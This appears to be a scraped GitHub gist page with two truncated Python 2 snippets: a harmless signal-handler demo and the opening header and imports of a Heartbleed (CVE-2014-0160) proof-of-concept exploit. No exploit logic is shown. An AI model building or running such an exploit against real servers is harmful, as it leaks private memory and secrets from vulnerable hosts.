Skip to content

Instantly share code, notes, and snippets.

@cedricporter
cedricporter / signal_handler_surprise_me.py
Created July 10, 2014 11:41
signal handler surprises me
# print 1,2,3,4,5,-1,6,7,8...
import signal
import sys
count = 0
def signal_handler(signum, frame):
global count
count = -1
print 'sig', count
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select